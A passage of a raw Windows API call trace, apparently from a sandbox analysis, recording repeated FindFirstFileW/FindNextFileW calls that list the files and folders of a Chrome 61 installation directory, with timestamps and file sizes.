cAlternateFileName="CHROME~2.SIG")) returned 1 [0089.561] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1fbec430 | out: lpFindFileData=0x1fbec430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe295e71b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x513c8214, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0xb65d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="chrome_100_percent.pak", cAlternateFileName="CHROME~1.PAK")) returned 1 [0089.561] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1fbec430 | out: lpFindFileData=0x1fbec430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe295e71b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51f4fca4, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0xf37fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="chrome_200_percent.pak", cAlternateFileName="CHROME~2.PAK")) returned 1 [0089.561] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1fbec430 | out: lpFindFileData=0x1fbec430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4a4cfe5, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4a4cfe5, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x8ca739b6, ftLastWriteTime.dwHighDateTime=0x1d32555, nFileSizeHigh=0x0, nFileSizeLow=0x3b4a558, dwReserved0=0x0, dwReserved1=0x0, cFileName="chrome_child.dll", cAlternateFileName="CHROME~1.DLL")) returned 1 [0089.561] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1fbec430 | out: lpFindFileData=0x1fbec430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4b5803b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4b5803b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x8d3b0b82, ftLastWriteTime.dwHighDateTime=0x1d32555, nFileSizeHigh=0x0, nFileSizeLow=0x57f, dwReserved0=0x0, dwReserved1=0x0, cFileName="chrome_child.dll.sig", cAlternateFileName="CHROME~1.SIG")) returned 1 [0089.562] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1fbec430 | out: lpFindFileData=0x1fbec430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4b31dc6, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4b31dc6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x8d5ecec8, ftLastWriteTime.dwHighDateTime=0x1d32555, nFileSizeHigh=0x0, nFileSizeLow=0x85f58, dwReserved0=0x0, dwReserved1=0x0, cFileName="chrome_elf.dll", cAlternateFileName="CHROME~2.DLL")) returned 1 [0089.562] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1fbec430 | out: lpFindFileData=0x1fbec430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4b31dc6, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4b31dc6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x8d980738, ftLastWriteTime.dwHighDateTime=0x1d32555, nFileSizeHigh=0x0, nFileSizeLow=0xa0758, dwReserved0=0x0, dwReserved1=0x0, cFileName="chrome_watcher.dll", cAlternateFileName="CHROME~3.DLL")) returned 1 [0089.562] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1fbec430 | out: lpFindFileData=0x1fbec430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe295e71b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51570ef4, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x434b40, dwReserved0=0x0, dwReserved1=0x0, cFileName="d3dcompiler_47.dll", cAlternateFileName="D3DCOM~1.DLL")) returned 1 [0089.562] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1fbec430 | out: lpFindFileData=0x1fbec430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe29849c2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe29849c2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="default_apps", cAlternateFileName="DEFAUL~1")) returned 1 [0089.562] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1fbec430 | out: lpFindFileData=0x1fbec430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4b31dc6, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4b31dc6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x8de9172c, ftLastWriteTime.dwHighDateTime=0x1d32555, nFileSizeHigh=0x0, nFileSizeLow=0x3558, dwReserved0=0x0, dwReserved1=0x0, cFileName="eventlog_provider.dll", cAlternateFileName="EVENTL~1.DLL")) returned 1 [0089.562] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1fbec430 | out: lpFindFileData=0x1fbec430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe295e71b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe29849c2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Extensions", cAlternateFileName="EXTENS~1")) returned 1 [0089.562] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1fbec430 | out: lpFindFileData=0x1fbec430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe29aac04, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe29aac04, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x5158e3b4, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x9b9830, dwReserved0=0x0, dwReserved1=0x0, cFileName="icudtl.dat", cAlternateFileName="")) returned 1 [0089.563] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1fbec430 | out: lpFindFileData=0x1fbec430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe4b7e268, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4b7e268, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe4b7e268, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Installer", cAlternateFileName="INSTAL~1")) returned 1 [0089.563] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1fbec430 | out: lpFindFileData=0x1fbec430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4b31dc6, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4b31dc6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x8e1fed42, ftLastWriteTime.dwHighDateTime=0x1d32555, nFileSizeHigh=0x0, nFileSizeLow=0x18758, dwReserved0=0x0, dwReserved1=0x0, cFileName="libegl.dll", cAlternateFileName="")) returned 1 [0089.563] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1fbec430 | out: lpFindFileData=0x1fbec430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4b31dc6, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4b31dc6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x8e5b880c, ftLastWriteTime.dwHighDateTime=0x1d32555, nFileSizeHigh=0x0, nFileSizeLow=0x3d6158, dwReserved0=0x0, dwReserved1=0x0, cFileName="libglesv2.dll", cAlternateFileName="LIBGLE~1.DLL")) returned 1 [0089.563] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1fbec430 | out: lpFindFileData=0x1fbec430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4620dd7, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe4620dd7, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Locales", cAlternateFileName="")) returned 1 [0089.563] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1fbec430 | out: lpFindFileData=0x1fbec430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4647067, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4647067, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51640744, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x380630, dwReserved0=0x0, dwReserved1=0x0, cFileName="nacl_irt_x86_64.nexe", cAlternateFileName="NACL_I~1.NEX")) returned 1 [0089.563] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1fbec430 | out: lpFindFileData=0x1fbec430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4647067, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4647067, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x516566d4, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x36315, dwReserved0=0x0, dwReserved1=0x0, cFileName="natives_blob.bin", cAlternateFileName="NATIVE~1.BIN")) returned 1 [0089.563] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1fbec430 | out: lpFindFileData=0x1fbec430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe46b976b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe46b976b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x516fa004, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0xd37e32, dwReserved0=0x0, dwReserved1=0x0, cFileName="resources.pak", cAlternateFileName="RESOUR~1.PAK")) returned 1 [0089.564] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1fbec430 | out: lpFindFileData=0x1fbec430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe46df998, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe46df998, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51701534, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x175b94, dwReserved0=0x0, dwReserved1=0x0, cFileName="snapshot_blob.bin", cAlternateFileName="SNAPSH~1.BIN")) returned 1 [0089.564] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1fbec430 | out: lpFindFileData=0x1fbec430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe295e71b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe4b5803b, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="swiftshader", cAlternateFileName="SWIFTS~1")) returned 1 [0089.564] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1fbec430 | out: lpFindFileData=0x1fbec430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe46df998, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe46df998, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisualElements", cAlternateFileName="VISUAL~1")) returned 1 [0089.564] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1fbec430 | out: lpFindFileData=0x1fbec430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe46df998, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe46df998, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="WIDEVI~1")) returned 1 [0089.564] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1fbec430 | out: lpFindFileData=0x1fbec430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe46df998, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe46df998, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="WIDEVI~1")) returned 0 [0089.564] FindClose (in: hFindFile=0x1ec51de0 | out: hFindFile=0x1ec51de0) returned 1 [0089.564] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbec690) returned 1 [0089.564] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbec650) returned 1 [0089.565] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbec750) returned 1 [0089.565] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79", nBufferLength=0x105, lpBuffer=0x1fbec1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79", lpFilePart=0x0) returned 0x3d [0089.565] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\*", lpFindFileData=0x1fbec470 | out: lpFindFileData=0x1fbec470*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4b7e268, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe4b7e268, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec51de0 [0089.565] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1fbec430 | out: lpFindFileData=0x1fbec430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4b7e268, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe4b7e268, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.565] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1fbec430 | out: lpFindFileData=0x1fbec430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe295e71b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x512e9f64, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0xe0, dwReserved0=0x0, dwReserved1=0x0, cFileName="61.0.3163.79.manifest", cAlternateFileName="610316~1.MAN")) returned 1 [0089.565] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1fbec430 | out: lpFindFileData=0x1fbec430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4836ebd, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4836ebd, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x8b9e94b0, ftLastWriteTime.dwHighDateTime=0x1d32555, nFileSizeHigh=0x0, nFileSizeLow=0x307ef58, dwReserved0=0x0, dwReserved1=0x0, cFileName="chrome.dll", cAlternateFileName="")) returned 1 [0089.565] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1fbec430 | out: lpFindFileData=0x1fbec430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4b5803b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4b5803b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x8c182c9e, ftLastWriteTime.dwHighDateTime=0x1d32555, nFileSizeHigh=0x0, nFileSizeLow=0x57f, dwReserved0=0x0, dwReserved1=0x0, cFileName="chrome.dll.sig", cAlternateFileName="CHROME~3.SIG")) returned 1 [0089.566] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1fbec430 | out: lpFindFileData=0x1fbec430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4b5803b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4b5803b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x8b2c23d0, ftLastWriteTime.dwHighDateTime=0x1d32555, nFileSizeHigh=0x0, nFileSizeLow=0x57f, dwReserved0=0x0, dwReserved1=0x0, cFileName="chrome.exe.sig", cAlternateFileName="CHROME~2.SIG")) returned 1 [0089.566] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1fbec430 | out: lpFindFileData=0x1fbec430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe295e71b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x513c8214, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0xb65d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="chrome_100_percent.pak", cAlternateFileName="CHROME~1.PAK")) returned 1 [0089.566] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1fbec430 | out: lpFindFileData=0x1fbec430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe295e71b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51f4fca4, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0xf37fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="chrome_200_percent.pak", cAlternateFileName="CHROME~2.PAK")) returned 1 [0089.566] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1fbec430 | out: lpFindFileData=0x1fbec430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4a4cfe5, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4a4cfe5, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x8ca739b6, ftLastWriteTime.dwHighDateTime=0x1d32555, nFileSizeHigh=0x0, nFileSizeLow=0x3b4a558, dwReserved0=0x0, dwReserved1=0x0, cFileName="chrome_child.dll", cAlternateFileName="CHROME~1.DLL")) returned 1 [0089.566] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1fbec430 | out: lpFindFileData=0x1fbec430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4b5803b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4b5803b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x8d3b0b82, ftLastWriteTime.dwHighDateTime=0x1d32555, nFileSizeHigh=0x0, nFileSizeLow=0x57f, dwReserved0=0x0, dwReserved1=0x0, cFileName="chrome_child.dll.sig", cAlternateFileName="CHROME~1.SIG")) returned 1 [0089.566] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1fbec430 | out: lpFindFileData=0x1fbec430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4b31dc6, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4b31dc6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x8d5ecec8, ftLastWriteTime.dwHighDateTime=0x1d32555, nFileSizeHigh=0x0, nFileSizeLow=0x85f58, dwReserved0=0x0, dwReserved1=0x0, cFileName="chrome_elf.dll", cAlternateFileName="CHROME~2.DLL")) returned 1 [0089.567] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1fbec430 | out: lpFindFileData=0x1fbec430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4b31dc6, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4b31dc6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x8d980738, ftLastWriteTime.dwHighDateTime=0x1d32555, nFileSizeHigh=0x0, nFileSizeLow=0xa0758, dwReserved0=0x0, dwReserved1=0x0, cFileName="chrome_watcher.dll", cAlternateFileName="CHROME~3.DLL")) returned 1 [0089.567] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1fbec430 | out: lpFindFileData=0x1fbec430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe295e71b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51570ef4, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x434b40, dwReserved0=0x0, dwReserved1=0x0, cFileName="d3dcompiler_47.dll", cAlternateFileName="D3DCOM~1.DLL")) returned 1 [0089.567] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1fbec430 | out: lpFindFileData=0x1fbec430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe29849c2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe29849c2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="default_apps", cAlternateFileName="DEFAUL~1")) returned 1 [0089.567] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1fbec430 | out: lpFindFileData=0x1fbec430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4b31dc6, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4b31dc6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x8de9172c, ftLastWriteTime.dwHighDateTime=0x1d32555, nFileSizeHigh=0x0, nFileSizeLow=0x3558, dwReserved0=0x0, dwReserved1=0x0, cFileName="eventlog_provider.dll", cAlternateFileName="EVENTL~1.DLL")) returned 1 [0089.567] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1fbec430 | out: lpFindFileData=0x1fbec430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe295e71b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe29849c2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Extensions", cAlternateFileName="EXTENS~1")) returned 1 [0089.567] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1fbec430 | out: lpFindFileData=0x1fbec430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe29aac04, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe29aac04, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x5158e3b4, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x9b9830, dwReserved0=0x0, dwReserved1=0x0, cFileName="icudtl.dat", cAlternateFileName="")) returned 1 [0089.568] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1fbec430 | out: lpFindFileData=0x1fbec430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe4b7e268, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4b7e268, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe4b7e268, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Installer", cAlternateFileName="INSTAL~1")) returned 1 [0089.568] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1fbec430 | out: lpFindFileData=0x1fbec430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4b31dc6, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4b31dc6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x8e1fed42, ftLastWriteTime.dwHighDateTime=0x1d32555, nFileSizeHigh=0x0, nFileSizeLow=0x18758, dwReserved0=0x0, dwReserved1=0x0, cFileName="libegl.dll", cAlternateFileName="")) returned 1 [0089.568] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1fbec430 | out: lpFindFileData=0x1fbec430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4b31dc6, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4b31dc6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x8e5b880c, ftLastWriteTime.dwHighDateTime=0x1d32555, nFileSizeHigh=0x0, nFileSizeLow=0x3d6158, dwReserved0=0x0, dwReserved1=0x0, cFileName="libglesv2.dll", cAlternateFileName="LIBGLE~1.DLL")) returned 1 [0089.568] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1fbec430 | out: lpFindFileData=0x1fbec430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4620dd7, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe4620dd7, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Locales", cAlternateFileName="")) returned 1 [0089.568] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1fbec430 | out: lpFindFileData=0x1fbec430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4647067, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4647067, ftLastAccessTime.dwHighDateTime=0x1d327cb, 